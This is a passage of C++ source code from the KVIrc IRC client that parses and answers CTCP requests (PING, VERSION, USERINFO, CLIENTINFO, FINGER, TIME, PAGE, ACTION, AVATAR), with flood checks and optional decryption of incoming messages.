KVI_OUT_CTCPREPLY,\n\t\t __tr2qs(\"%Q %Q reply from \\r!n\\r%Q\\r [%Q@\\r!h\\r%Q\\r]: %Q\"),\n\t\t &szWhat, &(msg->szTag), &(msg->pSource->nick()), &(msg->pSource->user()),\n\t\t &(msg->pSource->host()), &szData);\n\t}\n}\n\nvoid KviIrcServerParser::echoCtcpRequest(KviCtcpMessage * msg)\n{\n\t// FIXME: #warning \"DEDICATED CTCP WINDOW...MINIMIZED ?\"\n\tif(!msg->msg->haltOutput())\n\t{\n\t\tQString req = msg->szTag;\n\t\tif(*(msg->pData))\n\t\t{\n\t\t\treq.append(\" \");\n\t\t\treq.append(msg->pData);\n\t\t}\n\n\t\tKviWindow * pOut = KVI_OPTION_BOOL(KviOption_boolCtcpRequestsToActiveWindow) ? msg->msg->console()->activeWindow() : msg->msg->console();\n\n\t\tbool bIsChannel = false;\n\n\t\tif(!IS_ME(msg->msg, msg->szTarget))\n\t\t{\n\t\t\t// Channel ctcp request!\n\t\t\tpOut = msg->msg->connection()->findChannel(msg->szTarget);\n\t\t\tif(!pOut)\n\t\t\t{\n\t\t\t\tpOut = msg->msg->console();\n\t\t\t\tpOut->output(KVI_OUT_SYSTEMWARNING,\n\t\t\t\t __tr2qs(\"The following CTCP request has unrecognized target %Q\"),\n\t\t\t\t &(msg->szTarget));\n\t\t\t}\n\t\t\telse\n\t\t\t\tbIsChannel = true;\n\t\t}\n\n\t\tQString szRequest = req;\n\t\tQString szTag = msg->szTag;\n\t\tQString szWhat = bIsChannel ? __tr2qs(\"Channel CTCP\") : QString(\"CTCP\");\n\n\t\tif(msg->bIsFlood)\n\t\t{\n\t\t\tQString szData = msg->msg->connection()->decodeText(msg->pData);\n\t\t\tif(!KVS_TRIGGER_EVENT_6_HALTED(KviEvent_OnCTCPFlood, pOut, msg->pSource->nick(), msg->pSource->user(), msg->pSource->host(), msg->szTarget, msg->szTag, szData))\n\t\t\t\tpOut->output(KVI_OUT_CTCPREQUESTFLOOD,\n\t\t\t\t __tr2qs(\"%Q %Q%c request from \\r!n\\r%Q\\r [%Q@\\r!h\\r%Q\\r] (%Q), ignored (flood limit exceeded)\"),\n\t\t\t\t &szWhat, &szTag, KviControlCodes::Reset, &(msg->pSource->nick()),\n\t\t\t\t &(msg->pSource->user()), &(msg->pSource->host()), &szRequest);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQString szAction = msg->bUnknown ? __tr2qs(\"ignored (unrecognized)\") : (msg->bIgnored ? __tr2qs(\"ignored\") : __tr2qs(\"replied\"));\n\t\t\tpOut->output(\n\t\t\t msg->bUnknown ? KVI_OUT_CTCPREQUESTUNKNOWN : (msg->bIgnored ? KVI_OUT_CTCPREQUESTIGNORED : KVI_OUT_CTCPREQUESTREPLIED),\n\t\t\t __tr2qs(\"%Q %Q%c request from \\r!n\\r%Q\\r [%Q@\\r!h\\r%Q\\r] (%Q), %Q\"),\n\t\t\t &szWhat, &szTag, KviControlCodes::Reset, &(msg->pSource->nick()),\n\t\t\t &(msg->pSource->user()), &(msg->pSource->host()), &szRequest, &szAction);\n\t\t}\n\t}\n}\n\nvoid KviIrcServerParser::parseCtcpRequestPing(KviCtcpMessage * msg)\n{\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpPing))\n\t\t{\n\t\t\treplyCtcp(msg, msg->msg->connection()->encodeText(msg->pData));\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpReplyPing(KviCtcpMessage * msg)\n{\n\tif(!msg->msg->haltOutput())\n\t{\n\t\tKviWindow * pOut = KVI_OPTION_BOOL(KviOption_boolCtcpRepliesToActiveWindow) ? msg->msg->console()->activeWindow() : msg->msg->console();\n\n\t\tbool bIsChannel = false;\n\n\t\tif(!IS_ME(msg->msg, msg->szTarget))\n\t\t{\n\t\t\t// Channel ctcp request!\n\t\t\tpOut = msg->msg->connection()->findChannel(msg->szTarget);\n\t\t\tif(!pOut)\n\t\t\t{\n\t\t\t\tpOut = msg->msg->console();\n\t\t\t\tpOut->output(KVI_OUT_SYSTEMWARNING,\n\t\t\t\t __tr2qs(\"The following CTCP PING reply has unrecognized target \\\"%Q\\\"\"),\n\t\t\t\t &(msg->szTarget));\n\t\t\t}\n\t\t\telse\n\t\t\t\tbIsChannel = true;\n\t\t}\n\n\t\tunsigned int uSecs;\n\t\tunsigned int uMSecs = 0;\n\n\t\tKviCString szTime;\n\n\t\tstruct timeval tv;\n\t\tkvi_gettimeofday(&tv);\n\n\t\tmsg->pData = extractCtcpParameter(msg->pData, szTime, true);\n\n\t\tbool bOk;\n\n\t\tif(szTime.contains('.'))\n\t\t{\n\t\t\tKviCString szUSecs = szTime;\n\t\t\tszUSecs.cutToFirst('.');\n\t\t\tszTime.cutFromFirst('.');\n\n\t\t\tuMSecs = szUSecs.toUInt(&bOk);\n\t\t\tif(!bOk)\n\t\t\t{\n\t\t\t\tuMSecs = 0;\n\t\t\t\ttv.tv_usec = 0;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t\ttv.tv_usec = 0;\n\n\t\tuSecs = szTime.toUInt(&bOk);\n\t\tif(!bOk)\n\t\t\tpOut->output(KVI_OUT_SYSTEMWARNING,\n\t\t\t __tr2qs(\"The following CTCP PING reply has a broken time identifier \\\"%S\\\", don't trust the displayed time\"), &szTime);\n\n\t\tunsigned int uDiffSecs = tv.tv_sec - uSecs;\n\n\t\twhile(uMSecs > 1000000)\n\t\t\tuMSecs /= 10; // precision too high?\n\t\tif(((unsigned int)tv.tv_usec) < uMSecs)\n\t\t{\n\t\t\ttv.tv_usec += 1000000;\n\t\t\tif(uDiffSecs > 0)\n\t\t\t\tuDiffSecs--;\n\t\t}\n\t\tunsigned int uDiffMSecs = (tv.tv_usec - uMSecs) / 1000;\n\n\t\tQString szWhat = bIsChannel ? __tr2qs(\"Channel CTCP\") : QString(\"CTCP\");\n\n\t\tpOut->output(\n\t\t msg->bUnknown ? KVI_OUT_CTCPREPLYUNKNOWN : KVI_OUT_CTCPREPLY,\n\t\t __tr2qs(\"%Q PING reply from \\r!n\\r%Q\\r [%Q@\\r!h\\r%Q\\r]: %u sec %u msec\"),\n\t\t &szWhat, &(msg->pSource->nick()),\n\t\t &(msg->pSource->user()), &(msg->pSource->host()), uDiffSecs, uDiffMSecs);\n\t}\n}\n\nvoid KviIrcServerParser::parseCtcpRequestVersion(KviCtcpMessage * msg)\n{\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpVersion))\n\t\t{\n\t\t\tQString szVersion;\n\n\t\t\tszVersion = \"KVIrc \" KVI_VERSION;\n\t\t\tif(KviBuildInfo::buildRevision() != QString())\n\t\t\t{\n\t\t\t\tszVersion += \" git:\";\n\t\t\t\tszVersion += KviBuildInfo::buildRevision();\n\t\t\t}\n\t\t\tszVersion += \" '\" KVI_RELEASE_NAME \"' \" KVI_SOURCES_DATE \" - build \";\n\t\t\tszVersion += KviBuildInfo::buildDate();\n#if defined(COMPILE_ON_WINDOWS) || defined(COMPILE_ON_MINGW)\n\t\t\tszVersion.append(QString(\" - %1\").arg(KviRuntimeInfo::version()));\n#else\n\t\t\tszVersion.append(QString(\" - %1 (%2)\").arg(KviRuntimeInfo::name(), KviRuntimeInfo::release()));\n#endif\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringCtcpVersionPostfix).isEmpty())\n\t\t\t{\n\t\t\t\tQString sz = KVI_OPTION_STRING(KviOption_stringCtcpVersionPostfix);\n\t\t\t\tif(!sz.isEmpty())\n\t\t\t\t{\n\t\t\t\t\tszVersion.append(\" :\");\n\t\t\t\t\tszVersion.append(sz);\n\t\t\t\t}\n\t\t\t}\n\t\t\treplyCtcp(msg, szVersion);\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpRequestUserinfo(KviCtcpMessage * msg)\n{\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpUserinfo))\n\t\t{\n\t\t\tQString szReply;\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringCtcpUserInfoAge).isEmpty())\n\t\t\t{\n\t\t\t\tszReply = \"Age=\";\n\t\t\t\tszReply += KVI_OPTION_STRING(KviOption_stringCtcpUserInfoAge);\n\t\t\t}\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringCtcpUserInfoGender).isEmpty())\n\t\t\t{\n\t\t\t\tif(!szReply.isEmpty())\n\t\t\t\t\tszReply += \"; \";\n\t\t\t\tszReply += \"Gender=\";\n\t\t\t\tszReply += KVI_OPTION_STRING(KviOption_stringCtcpUserInfoGender);\n\t\t\t}\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringCtcpUserInfoLocation).isEmpty())\n\t\t\t{\n\t\t\t\tif(!szReply.isEmpty())\n\t\t\t\t\tszReply += \"; \";\n\t\t\t\tszReply += \"Location=\";\n\t\t\t\tszReply += KVI_OPTION_STRING(KviOption_stringCtcpUserInfoLocation);\n\t\t\t}\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringCtcpUserInfoLanguages).isEmpty())\n\t\t\t{\n\t\t\t\tif(!szReply.isEmpty())\n\t\t\t\t\tszReply += \"; \";\n\t\t\t\tszReply += \"Languages=\";\n\t\t\t\tszReply += KVI_OPTION_STRING(KviOption_stringCtcpUserInfoLanguages);\n\t\t\t}\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringCtcpUserInfoOther).isEmpty())\n\t\t\t{\n\t\t\t\tif(!szReply.isEmpty())\n\t\t\t\t\tszReply += \"; \";\n\t\t\t\tszReply += KVI_OPTION_STRING(KviOption_stringCtcpUserInfoOther);\n\t\t\t}\n\t\t\tif(szReply.isEmpty())\n\t\t\t\tszReply = KVI_DEFAULT_CTCP_USERINFO_REPLY;\n\t\t\treplyCtcp(msg, szReply);\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\n// FIXME: KEEP THIS TABLE UP TO DATE\n\nstatic const char * ctcpTagTable[][2] = {\n\t{ \"PING\", \"Returns given parameters without parsing them\" },\n\t{ \"VERSION\", \"Returns the version of this client\" },\n\t{ \"CLIENTINFO\", \"With no parameters, lists supported CTCP tags,\"\n\t \" 'CLIENTINFO <tag>' describes <tag>\" },\n\t{ \"USERINFO\", \"Returns personal information about the current user\" },\n\t{ \"FINGER\", \"Returns information about the current user\" },\n\t{ \"SOURCE\", \"Returns the client homepage URL\" },\n\t{ \"TIME\", \"Returns the current local time\" },\n\t{ \"ACTION\", \"Used to describe actions, generates no reply\" },\n\t{ \"AVATAR\", \"Returns the current avatar (may trigger a DCC GET) or\"\n\t \" sets your own on this side if sent through a NOTICE\" },\n\t{ \"DCC\", \"Initiates a DCC connection (XDCC,TDCC)\" },\n\t{ \"PAGE\", \"Leaves a message for this user\" },\n\t{ nullptr, nullptr }\n};\n\nvoid KviIrcServerParser::parseCtcpRequestClientinfo(KviCtcpMessage * msg)\n{\n\t// this is completely latin1\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpClientinfo))\n\t\t{\n\t\t\tKviCString szTag;\n\t\t\tmsg->pData = extractCtcpParameter(msg->pData, szTag, false);\n\t\t\tszTag.trim();\n\t\t\tszTag.toUpperISO88591();\n\t\t\tif(szTag.isEmpty())\n\t\t\t{\n\t\t\t\tQString reply(\"KVIrc \" KVI_VERSION \" '\" KVI_RELEASE_NAME \"' \" KVI_SOURCES_DATE \" - http://www.kvirc.net - Supported tags: \");\n\t\t\t\tfor(int i = 0; ctcpTagTable[i][0]; i++)\n\t\t\t\t{\n\t\t\t\t\treply += ctcpTagTable[i][0];\n\t\t\t\t\tif(ctcpTagTable[i + 1][0])\n\t\t\t\t\t\treply += \",\";\n\t\t\t\t}\n\t\t\t\treply += \" - Use 'CLIENTINFO <tag>' for a description of each tag\";\n\t\t\t\treplyCtcp(msg, reply);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbool bFound = false;\n\t\t\t\tfor(int i = 0; ctcpTagTable[i][0] && !bFound; i++)\n\t\t\t\t{\n\t\t\t\t\tif(kvi_strEqualCS(ctcpTagTable[i][0], szTag.ptr()))\n\t\t\t\t\t{\n\t\t\t\t\t\tKviCString reply(KviCString::Format, \"%s: %s\", ctcpTagTable[i][0], ctcpTagTable[i][1]);\n\t\t\t\t\t\treplyCtcp(msg, reply.ptr());\n\t\t\t\t\t\tbFound = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(!bFound)\n\t\t\t\t{\n\t\t\t\t\tmsg->szTag = \"ERRMSG\";\n\t\t\t\t\tKviCString reply(KviCString::Format, \"Unsupported tag %s\", szTag.ptr());\n\t\t\t\t\treplyCtcp(msg, reply.ptr());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpRequestFinger(KviCtcpMessage * msg)\n{\n\t// completely latin1 atm\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpFinger))\n\t\t{\n\t\t\tKviCString username = getenv(\"USER\");\n\t\t\tif(username.isEmpty())\n\t\t\t\tusername = getenv(\"LOGNAME\");\n\t\t\tif(username.isEmpty())\n\t\t\t\tusername = msg->msg->connection()->userInfo()->userName();\n\t\t\t// FIXME: #warning \"UTSNAME ?...AND OTHER INFO ?...SYSTEM IDLE TIME ?...KVIRC IDLE TIME ?\"\n\t\t\tKviCString reply(KviCString::Format, \"%s\", username.ptr());\n\t\t\treplyCtcp(msg, reply.ptr());\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpRequestSource(KviCtcpMessage * msg)\n{\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpSource))\n\t\t{\n\t\t\tQString version = \"KVIrc \" KVI_VERSION \" '\" KVI_RELEASE_NAME \"' - http://www.kvirc.net/\";\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringCtcpSourcePostfix).isEmpty())\n\t\t\t{\n\t\t\t\tversion += \" :\";\n\t\t\t\tversion += KVI_OPTION_STRING(KviOption_stringCtcpSourcePostfix);\n\t\t\t}\n\t\t\treplyCtcp(msg, version);\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpRequestTime(KviCtcpMessage * msg)\n{\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpTime))\n\t\t{\n\t\t\tQString szTmp;\n\t\t\tQDateTime date = QDateTime::currentDateTime();\n\t\t\tswitch(KVI_OPTION_UINT(KviOption_uintOutputDatetimeFormat))\n\t\t\t{\n\t\t\t\tcase 0:\n\t\t\t\t\t// this is the equivalent to an empty date.toString() call, but it's needed\n\t\t\t\t\t// to ensure qt4 will use the default() locale and not the system() one\n\t\t\t\t\tszTmp = QLocale().toString(date, \"ddd MMM d hh:mm:ss yyyy\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase 1:\n\t\t\t\t\tszTmp = date.toString(Qt::ISODate);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 2:\n\t\t\t\t\tszTmp = date.toString(Qt::SystemLocaleShortDate);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treplyCtcp(msg, szTmp);\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpRequestPage(KviCtcpMessage * msg)\n{\n\tif(!checkCtcpFlood(msg))\n\t{\n\t\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpPage))\n\t\t{\n\t\t\tKVI_OPTION_STRING(KviOption_stringCtcpPageReply) = KVI_OPTION_STRING(KviOption_stringCtcpPageReply).trimmed();\n\t\t\tif(KVI_OPTION_STRING(KviOption_stringCtcpPageReply).isEmpty())\n\t\t\t\tKVI_OPTION_STRING(KviOption_stringCtcpPageReply) = KVI_DEFAULT_CTCP_PAGE_REPLY;\n\n\t\t\treplyCtcp(msg, KVI_OPTION_STRING(KviOption_stringCtcpPageReply));\n\n\t\t\tbool bIsChannel = !IS_ME(msg->msg, msg->szTarget);\n\n\t\t\tif((KVI_OPTION_BOOL(KviOption_boolShowDialogOnCtcpPage) && !bIsChannel) || (KVI_OPTION_BOOL(KviOption_boolShowDialogOnChannelCtcpPage) && bIsChannel))\n\t\t\t{\n\t\t\t\tif(!g_pCtcpPageDialog)\n\t\t\t\t\tg_pCtcpPageDialog = new KviCtcpPageDialog();\n\t\t\t\tKviCString szData8;\n\t\t\t\tszData8 = msg->pData;\n\t\t\t\tQString szData = KviQString::toHtmlEscaped(msg->msg->connection()->decodeText(szData8.ptr()));\n\t\t\t\tg_pCtcpPageDialog->addPage(msg->pSource->nick(), msg->pSource->user(), msg->pSource->host(), szData);\n\t\t\t\tg_pCtcpPageDialog->popup();\n\t\t\t}\n\t\t}\n\t\telse\n\t\t\tmsg->bIgnored = true;\n\t}\n\n\techoCtcpRequest(msg);\n}\n\n#ifdef COMPILE_CRYPT_SUPPORT\n#define DECRYPT_IF_NEEDED(target, txt, type, type2, buffer, retptr, retmsgtype) \\\n\tif(KviCryptSessionInfo * cinf = target->cryptSessionInfo()) \\\n\t{ \\\n\t\tif(cinf->m_bDoDecrypt) \\\n\t\t{ \\\n\t\t\tswitch(cinf->m_pEngine->decrypt(txt, buffer)) \\\n\t\t\t{ \\\n\t\t\t\tcase KviCryptEngine::DecryptOkWasEncrypted: \\\n\t\t\t\t\tretptr = buffer.ptr(); \\\n\t\t\t\t\tretmsgtype = type2; \\\n\t\t\t\t\tbreak; \\\n\t\t\t\tcase KviCryptEngine::DecryptOkWasPlainText: \\\n\t\t\t\tcase KviCryptEngine::DecryptOkWasEncoded: \\\n\t\t\t\t\tretptr = buffer.ptr(); \\\n\t\t\t\t\tretmsgtype = type; \\\n\t\t\t\t\tbreak; \\\n\t\t\t\tdefault: /* also case KviCryptEngine::DecryptError: */ \\\n\t\t\t\t{ \\\n\t\t\t\t\tQString szEngineError = cinf->m_pEngine->lastError(); \\\n\t\t\t\t\ttarget->output(KVI_OUT_SYSTEMERROR, \\\n\t\t\t\t\t __tr2qs(\"The following message appears to be encrypted but the encryption engine failed to decode it: %Q\"), \\\n\t\t\t\t\t &szEngineError); \\\n\t\t\t\t\tretptr = txt + 1; \\\n\t\t\t\t\tretmsgtype = type; \\\n\t\t\t\t} \\\n\t\t\t\tbreak; \\\n\t\t\t} \\\n\t\t} \\\n\t\telse \\\n\t\t\tretptr = txt, retmsgtype = type; \\\n\t} \\\n\telse \\\n\t\tretptr = txt, retmsgtype = type;\n#else //COMPILE_CRYPT_SUPPORT\n#define DECRYPT_IF_NEEDED(target, txt, type, type2, buffer, retptr, retmsgtype) \\\n\tretptr = txt; \\\n\tretmsgtype = type;\n#endif //COMPILE_CRYPT_SUPPORT\n\nvoid KviIrcServerParser::parseCtcpRequestAction(KviCtcpMessage * msg)\n{\n\tKviCString szData8(msg->pData);\n\t// CTCP ACTION is a special exception... most clients do not encode/decode it.\n\t//msg->pData = extractCtcpParameter(msg->pData,szData8,false);\n\n\tKviWindow * pOut = nullptr;\n\tbool bIsChannel = msg->msg->connection()->serverInfo()->supportedChannelTypes().indexOf(msg->szTarget[0]) != -1;\n\tint msgtype = KVI_OUT_ACTION;\n\n\t// \"znc.in/self-message\" capability: Handle a replayed message from ourselves to someone else.\n\tbool bSelfMessage = IS_ME(msg->msg, msg->pSource->nick());\n\tQString szTargetNick, szTargetUser, szTargetHost;\n\tmsg->msg->decodeAndSplitMask(msg->szTarget.toLatin1().data(), szTargetNick, szTargetUser, szTargetHost);\n\tQString szWindow = bIsChannel || bSelfMessage ? szTargetNick : msg->pSource->nick();\n\tconst QString &szOtherNick = bSelfMessage ? szTargetNick : msg->pSource->nick();\n\tconst QString &szOtherUser = bSelfMessage ? szTargetUser : msg->pSource->user();\n\tconst QString &szOtherHost = bSelfMessage ? szTargetHost : msg->pSource->host();\n\n\tQString szData;\n\n\tif(bIsChannel)\n\t{\n\t\tKviChannelWindow * chan = msg->msg->connection()->findChannel(msg->szTarget);\n\t\tif(chan)\n\t\t{\n\t\t\tKviCString szBuffer;\n\t\t\tconst char * txtptr;\n\n\t\t\tDECRYPT_IF_NEEDED(chan, szData8.ptr(), KVI_OUT_ACTION, KVI_OUT_ACTIONCRYPTED, szBuffer, txtptr, msgtype)\n\n\t\t\tszData = chan->decodeText(txtptr);\n\n\t\t\tpOut = static_cast<KviWindow *>(chan);\n\t\t}\n\t\telse\n\t\t\tszData = msg->msg->connection()->decodeText(szData8.ptr());\n\t}\n\telse\n\t{\n\t\tKviQueryWindow * query = msg->msg->connection()->findQuery(szWindow);\n\t\tif(!query)\n\t\t{\n\t\t\t// New query requested ?\n\t\t\t// FIXME: \t\t\t#warning \"CHECK FOR SPAM!\"\n\t\t\tif(KVI_OPTION_BOOL(KviOption_boolCreateQueryOnPrivmsg))\n\t\t\t{\n\t\t\t\t// We still want to create it\n\t\t\t\t// Give the scripter a chance to filter it out again\n\t\t\t\tif(KVS_TRIGGER_EVENT_4_HALTED(KviEvent_OnQueryWindowRequest, msg->msg->console(),\n\t\t\t\t msg->pSource->nick(),\n\t\t\t\t msg->pSource->user(),\n\t\t\t\t msg->pSource->host(),\n\t\t\t\t szData))\n\t\t\t\t{\n\t\t\t\t\t// check if the scripter hasn't created it\n\t\t\t\t\tquery = msg->msg->connection()->findQuery(szWindow);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// no query yet, create it!\n\t\t\t\t\t// this will trigger OnQueryWindowCreated\n\t\t\t\t\tquery = msg->msg->console()->connection()->createQuery(szWindow);\n\t\t\t\t\tquery->setTarget(szOtherNick, szOtherUser, szOtherHost);\n\t\t\t\t}\n\t\t\t\tif(!KVI_OPTION_STRING(KviOption_stringOnNewQueryOpenedSound).isEmpty())\n\t\t\t\t{\n\t\t\t\t\tKviKvsVariantList soundParams{new KviKvsVariant{KVI_OPTION_STRING(KviOption_stringOnNewQueryOpenedSound)}};\n\t\t\t\t\tKviKvsScript::run(\"snd.play $0\", nullptr, &soundParams);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(!KVI_OPTION_STRING(KviOption_stringOnQueryMessageSound).isEmpty() && !query->hasAttention())\n\t\t\t{\n\t\t\t\tKviKvsVariantList soundParams(new KviKvsVariant(KVI_OPTION_STRING(KviOption_stringOnQueryMessageSound)));\n\t\t\t\t// coverity is wrong here.\n\t\t\t\tKviKvsScript::run(\"snd.play $0\", query, &soundParams);\n\t\t\t}\n\t\t}\n\n\t\tif(query)\n\t\t{\n\t\t\tKviCString szBuffer;\n\t\t\tconst char * txtptr;\n\n\t\t\tDECRYPT_IF_NEEDED(query, szData8.ptr(), KVI_OUT_ACTION, KVI_OUT_ACTIONCRYPTED, szBuffer, txtptr, msgtype)\n\n\t\t\tszData = query->decodeText(txtptr);\n\t\t}\n\t\telse\n\t\t\tszData = msg->msg->connection()->decodeText(szData8.ptr());\n\n\t\tpOut = static_cast<KviWindow *>(query);\n\t}\n\n\tbool bTargetFound = pOut;\n\tif(!pOut)\n\t{\n\t\tpOut = KVI_OPTION_BOOL(KviOption_boolExternalMessagesToActiveWindow) ? msg->msg->console()->activeWindow() : msg->msg->console();\n\t}\n\n\t//see bug ticket #220\n\tif(KVI_OPTION_BOOL(KviOption_boolStripMircColorsInUserMessages))\n\t\tszData = KviControlCodes::stripControlBytes(szData);\n\n\tif(KVS_TRIGGER_EVENT_7_HALTED(KviEvent_OnAction, pOut,\n\t msg->pSource->nick(),\n\t msg->pSource->user(),\n\t msg->pSource->host(),\n\t msg->szTarget,\n\t szData,\n\t msg->msg->messageTagsKvsHash(),\n\t (kvs_int_t)(msgtype == KVI_OUT_ACTIONCRYPTED)))\n\t{\n\t\tmsg->msg->setHaltOutput();\n\t\treturn;\n\t}\n\n\tint type = msg->msg->console()->applyHighlighting(pOut, msgtype, msg->pSource->nick(), msg->pSource->user(), msg->pSource->host(), szData);\n\n\tif(type < 0)\n\t\treturn; // event stopped the message!\n\n\tif(type == KVI_OUT_HIGHLIGHT || !bIsChannel)\n\t{\n\t\tif(!pOut->hasAttention(KviWindow::MainWindowIsVisible))\n\t\t{\n\t\t\tif(KVI_OPTION_BOOL(KviOption_boolFlashWindowOnHighlightedMessages))\n\t\t\t\tpOut->demandAttention();\n\t\t\tif(KVI_OPTION_BOOL(KviOption_boolPopupNotifierOnHighlightedMessages))\n\t\t\t{\n\t\t\t\tQString szMsg = \"<b>\";\n\t\t\t\tszMsg += msg->pSource->nick();\n\t\t\t\tszMsg += \"</b> \";\n\t\t\t\tszMsg += KviQString::toHtmlEscaped(szData);\n\t\t\t\t//qDebug(\"KviIrcServerParser_ctcp.cpp:975 debug: %s\",szMsg.data());\n\t\t\t\tg_pApp->notifierMessage(pOut, KVI_OPTION_MSGTYPE(msgtype).pixId(), szMsg, KVI_OPTION_UINT(KviOption_uintNotifierAutoHideTime));\n\t\t\t}\n\t\t}\n\t}\n\n\tif(bTargetFound)\n\t{\n\t\tQString szMsg = QString(\"\\r!n\\r%1\\r \").arg(msg->pSource->nick());\n\t\tszMsg += szData;\n\t\tif(bIsChannel)\n\t\t{\n\t\t\t((KviChannelWindow *)pOut)->outputMessage(type, szMsg, msg->msg->serverTime());\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpOut->outputNoFmt(type, szMsg, 0, msg->msg->serverTime());\n\t\t}\n\t}\n\telse\n\t{\n\t\tif(bIsChannel)\n\t\t{\n\t\t\tpOut->output(KVI_OUT_SYSTEMWARNING,\n\t\t\t __tr2qs(\"The following CTCP ACTION has unrecognized target %Q\"),\n\t\t\t &(msg->szTarget));\n\t\t}\n\t\tKviCString buffer1, buffer2;\n\t\tpOut->output(type,\n\t\t __tr2qs(\"CTCP ACTION from \\r!n\\r%Q\\r [%Q@\\r!h\\r%Q\\r]: %Q\"),\n\t\t &(msg->pSource->nick()), &(msg->pSource->user()),\n\t\t &(msg->pSource->host()), &szData);\n\t}\n}\n\n// FIXME: #warning \"UTSNAME ?...AND OTHER INFO ?...SYSTEM IDLE TIME ?...KVIRC IDLE TIME ?\"\nvoid KviIrcServerParser::parseCtcpRequestAvatar(KviCtcpMessage * msg)\n{\n\t// AVATAR\n\tif(!KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpAvatar))\n\t{\n\t\tQString szGenderTag = \" \";\n\t\tif(KVI_OPTION_STRING(KviOption_stringCtcpUserInfoGender).startsWith(\"m\", Qt::CaseInsensitive))\n\t\t{\n\t\t\tszGenderTag.append(\"M\");\n\t\t}\n\t\telse if(KVI_OPTION_STRING(KviOption_stringCtcpUserInfoGender).startsWith(\"f\", Qt::CaseInsensitive))\n\t\t{\n\t\t\tszGenderTag.append(\"F\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tszGenderTag.append(\"?\");\n\t\t}\n\n\t\tKviAvatar * a = msg->msg->console()->currentAvatar();\n\t\tif(a)\n\t\t{\n\t\t\tif(!checkCtcpFlood(msg))\n\t\t\t{\n\t\t\t\t// FIXME: #warning \"OPTION FOR SETTING A FIXED BIND ADDRESS FOR OUTGOING DCC OFFERS\"\n\t\t\t\tQString szUserMask;\n\t\t\t\tmsg->pSource->mask(szUserMask);\n\n\t\t\t\tQString szReply, szFileName;\n\t\t\t\tszFileName = a->name();\n\t\t\t\tif(KVI_OPTION_BOOL(KviOption_boolDCCFileTransferReplaceOutgoingSpacesWithUnderscores))\n\t\t\t\t\tszFileName.replace(\" \", \"_\");\n\n\t\t\t\t// escape the spaces with the right octal code\n\t\t\t\tencodeCtcpParameter(szFileName.toUtf8().data(), szReply);\n\n\t\t\t\tif(!a->isRemote())\n\t\t\t\t{\n\t\t\t\t\tif(!g_pSharedFilesManager->addSharedFile(szFileName, a->localPath(), szUserMask, KVI_OPTION_UINT(KviOption_uintAvatarOfferTimeoutInSecs)))\n\t\t\t\t\t{\n\t\t\t\t\t\tmsg->msg->console()->output(KVI_OUT_SYSTEMWARNING, __tr2qs(\"Unable to add file offer for file %Q (File not readable?)\"), &(a->localPath()));\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif(_OUTPUT_VERBOSE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmsg->msg->console()->output(KVI_OUT_SYSTEMMESSAGE, __tr2qs(\"Added %d sec file offer for file %Q (%Q) to recipient %Q\"),\n\t\t\t\t\t\t\t KVI_OPTION_UINT(KviOption_uintAvatarOfferTimeoutInSecs), &(a->name()), &(a->localPath()), &szUserMask);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tszReply.append(szGenderTag);\n\t\t\t\treplyCtcp(msg, szReply);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// no avatar set.. ignore channel requests if the user wishes\n\t\t\tif(!IS_ME(msg->msg, 